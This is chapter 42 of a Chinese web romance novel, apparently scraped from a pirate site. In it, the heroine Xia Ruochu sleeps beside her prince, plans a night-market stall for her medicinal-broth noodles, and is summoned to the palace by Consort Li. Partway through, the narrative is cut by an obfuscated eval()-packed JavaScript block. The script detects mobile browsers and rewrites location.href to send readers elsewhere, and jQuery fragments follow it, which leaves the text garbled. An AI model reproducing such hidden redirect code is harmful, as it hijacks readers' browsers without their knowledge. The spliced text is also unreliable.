42. 第 42 章

作品:《阴鸷王爷的戏精小娇妻

    夏若初被几名侍女们伺候着,泡了足足小半个时辰的花瓣澡。


    她本想说,天都快亮了实在不必如此,但泡在温水中实在太舒服了,便由她们去。


    待她进入那间属于他们的婚房,廊下的宫灯便尽皆熄灭。


    月光透过碧纱窗,铺在拔步床的帐幔上,帐子没有完全放下,只半掩着,露出里头一个躺卧着的身影。


    萧承翊躺着床的外侧,手随意搭在被面之上。发冠已卸,墨发散在枕上。


    夏若初轻手轻脚走到床边。


    男人睡着时的脸如玉雕般冷峻,鼻梁高挺如峰,唇线微微抿着,不像白日那般带着威仪。她闻到他身上的白檀香,干净而温沉。


    那就是得越过他,才能睡到床的内侧。


    夏若初屏住呼吸往床沿上爬,越小心越是要出错,不知绊倒了什么,往床里栽下去。一头埋进柔软的衾被之中,四肢平摊地压在萧承翊身上。


    身下那具身体绷紧了一瞬。


    夏若初的腿还横在他腰侧,吓得一动不敢动。


    半天没有动静。


    这样都没醒?


    夏若初慢慢吐出一口气,她小心翼翼地把腿从萧承翊身上挪下来,钻进被窝里蜷在最里侧。


    他怎么就睡着了呢?他既然料到她今夜要回来,怎么就不能等一等她,让她满腹的话无处可倾诉。


    她翻过身,悄悄地挪过去,靠近萧承翊耳边,轻轻唤。


    “王~爷~"


    “我~回~来~了~~”


    连喊了两遍,萧承翊纹丝不动,毫无回应。


    帐中又恢复了寂静。


    只有两个人的呼吸在夜色里交织。


    陷入沉睡前,夏若初觉得脸上痒酥酥的,好像有人在玩她的脸。


    一会儿捏捏她的鼻尖,一会儿揉揉她的耳垂,然后,两颊被捏住了,把她捏成嘟嘟嘴,又上上下下地拨弄她的眼睫毛,一根根数。


    夏若初睡得迷迷糊糊,被闹得好烦躁,胡乱扬手甩了过去。


    “啪”地一声脆响,那讨厌的梦境终于结束了。


    夏若初满意了。她寻到一处温暖的地方,找到最舒服的姿势窝进去,脸蹭了蹭,坠入沉沉的梦乡。


    这一觉醒来,已是正午。


    侍女告诉她,肃王一早便出门上朝了。


    梳洗过后,夏若初在院子里见到了自己的两名近卫。二人神清气爽,正颇有兴致地逗汤圆玩儿,看来是不用担心做不成顶天立地的男儿了。


    尚游像背书一般道:“王爷说了,要犯已擒,兹事体大,公务缠身,这几日恐难以抽身。”


    这话倒是不假。偌大的国公府光抄家盘查都不知要动用多少人,萧承翊这一趟得忙上至少大半个月吧。


    用餐时,有个小侍女看着面生,“奴婢青萝,王爷指了奴婢给王妃,与碧菡姐姐一同伺候王妃。”


    夏若初问:“为何是王爷指派?不是管事嬷嬷安排?”


    青萝答:“王妃有所不知。大婚之后,王爷便找奴婢问做了何事被王妃责罚。奴婢照实回了,是奴婢不慎将水泼在王妃身上,王妃想搀扶奴婢,并无责罚之意。王爷便说奴婢诚实,将奴婢指给王妃,只是您一直在太夫人府,想来不记得奴婢了。”


    大婚,似乎是很久远的事情了,夏若初却尤记得那夜萧承翊向她射出的一箭。


    那时她是真的怕他。现在好似不那么怕了。


    一夜不见,她开始有些想念夫君。


    -


    萧承翊这一去岂止是难以抽身,连人影都见不着了,每日只是让关朔给她传话。


    赵时安牵扯军饷贪腐一案,殿前司早已查实了证据,但萧承翊始终按兵不动,未曾移交大理寺,等的就是淮安王。


    若赵时安暗中将粮草器械资助藩王,那便不是贪腐二字这么简单了,而是串通谋反。


    事情本该就此收网,谁知淮安王竟被人劫了狱。皇城内外的防卫便陡然收紧。


    小夫妻连着三日没能见面了。


    夏若初倒是不会无聊,她在王府里又开始种花种草药。她用白芷、茯苓碾成细末,又用琉璃瓶泡了玫瑰花瓣,调入粉末中敷在脸上,还拉着侍女一起敷。


    又用薄荷叶晒干研末,掺了丁香和细辛,和牙粉拌在一起装在罐里,刷完满口清凉。


    让她最开心的是,萧承翊并没有管束她,她可以随意出入肃王府,她便每日都去一趟养颐堂。


    四种口味的药膳锅底最终定了下来。


    温补气血的当归黄芪羊肉锅,健脾祛湿的党参茯苓鸡汤锅,润肺生津的玉竹沙参老鸭锅,还有一款暖胃驱寒的辣汤锅。


    火腿肠和方便面也制出了第一批,夏若初对味道倒是满意,只是受限于养颐堂后厨的空间,产量实在太少。


    辛夷和张顺都建议,火腿肠和方便面尚未列入军粮,是不是先放在养颐堂里卖。


    “那不好。”夏若初反对,“养颐堂终究是药铺,霸王茶是养生茶饮可以售卖,但要再卖其他不相干的产品便不合适,会让客人觉得我们不专业,吃相难看,有损品牌形象。”


    辛夷和张顺似懂非懂地点头。


    还是得等她的药膳私房菜找到合适的地方开起来,才能出品更多好吃的。


    “倒是可以先让百姓尝尝鲜。”夏若初有了主意:“不如到夜市摆个摊子,卖四种药膳汤底的方便面加火腿肠。”


    “我来我来!我最擅长在夜市摆摊。”张顺眼睛都发亮了。


    “如今不设宵禁,清河坊的夜市从黄昏一直热闹到五更。我常过去,卖吃食的、卖杂货的、卖花果的,还有唱小曲的、说书的、耍傀儡子的,可热闹了!咱们这汤锅一沸腾,香气飘出几丈外,还愁没人来尝?”


    他对东家的点子可是深信不疑,没准这次又像霸王茶一样,给他带来丰厚的进账,这种好事可不能让别的店家抢了先。


    “先把四种汤底熬好,过关了就让你去。”


    相比张顺的兴致冲冲,夏若初却有些顾虑。毕竟是小吃,又是这里的人没见过的玩意,恐怕一开始不是那么容易招揽人。


    未来的药膳私房菜还缺个代言人。


    目光不由地投向养颐堂偏角,那条排得长长的等候霸王茶的队伍。


    尤其是一群小女娘,个个眼巴巴地望着那只超大的将军服木偶。隐藏款的麒麒实在太难抽中了,失望的小姑娘们只好忍不住凑过去摸两下,过过干瘾。


    夏若初嘴角泛起甜甜的笑意。


    -


    这一日忙过去,回府刚进门,便有下人急急迎上来通报。


    “王妃,宫里来人了!说是专为王妃来的。内侍在正堂候着呢。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460165|193943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    夏若初脚步一顿,脱口问道:“王爷回来了吗?”


    “王爷尚未回府。”


    夏若初心中微微发紧。她整了整衣襟,往正堂去。那候了许久的都知见她进来,恭恭敬敬行了个礼。


    “奴婢给肃王妃请安。丽妃娘娘请王妃进宫叙话。”


    丽妃娘娘?


    命手下以龌龊手段陷害她的温佑宁,竟然还敢主动来找她。


    夏若初先是疑惑,怎么不是张宝来传话,丽妃最信任的人不就是张宝吗。不过转念一想,张宝肯定不敢出现在她面前。


    她本来也不想见到张宝那张脸,还在琢磨着哪日腾出手来好好收拾这条狗。


    “不去。”夏若初干脆道。


    “啊?”那都知一愣,以为自己听岔了。


    “哦,我病了,站在这儿风一吹便头晕。”夏若初说着,身子微微一歪,扶着碧菡的手臂,语气柔柔弱弱。


    “烦请都知代我向娘娘赔个罪,待我身子好些了,定当亲自去拜见娘娘。都知请回吧!”


    她倚靠着碧菡往外走。


    内侍急得原地团团转,“这可让奴婢如何交差?丽妃娘娘是奉太后之命,协同太常寺操办岁末的赐福宫宴。娘娘说她不熟悉这些,想请肃王妃协助……”


    夏若初猛地回身:“我病好了,我们这就走吧!”


    都知:……


    赐福宫宴,本是宫中岁末最隆重的节庆之礼。


    按惯例,每年腊月二十三前后,圣上于集英殿设宴,邀宗室亲王、六部尚书及三品以上朝臣携眷出席,名为宴饮,实为一年之中最要紧的家宴。


    只是往年皆由皇后主持,不知今年为何落到了丽妃头上,可见她如今极受重视,也难怪会甚为紧张。


    既然是太后的意思,夏若初不得不重视。


    但真正打动她的是,宴上会呈现许多各地进贡或宫中特备的酒水果品、珍馐器玩,若有出众者便登记在册,以后宫中采办会从其中择选,获得专供御前的资格。


    外祖沈家鼎盛之时,便是这赐福宫宴中的常客。


    夏若初关心的不只是这件事。


    能被邀至赐福宫宴的,皆是朝中有头有脸的人,永宁侯府身为三品侯爵自然在列,柳氏必然也要去。


    自栖云观一别,她终于要再见到这位后母了。


    夏若初并没有忘记莲灯寺遇刺一事,她想来想去,如果有人恨她到要她的命,除了柳氏还会有谁呢?


    既然柳氏死也不肯放过自己,那不如就去会会她。


    至于丽妃温佑宁,夏若初也对她产生了好奇。


    对肃王妃设计未遂,应当自动自觉躲得远远的,好好缩在宫里安分守己,更要日日求神拜佛这辈子千万别碰上萧承翊。


    可温佑宁竟主动邀请自己去协助宫宴,她应当想到,这等于给了夏若初一个扳倒柳氏的机会。


    这位极受盛宠的娘娘,心里到底在打什么主意?


    都知见夏若初脚步踌躇,一副满腹心思的模样。


    又见她不过十六岁年纪,生得明丽动人,便温声安慰道:“王妃莫要紧张,丽妃娘娘最是和善的,不会吃人的。”


    夏若初笑着应道:“是,烦请公公带路。”


    背过身,她目光变冷,暗自冷哼。


    只怕是你家娘娘,先被我吃了。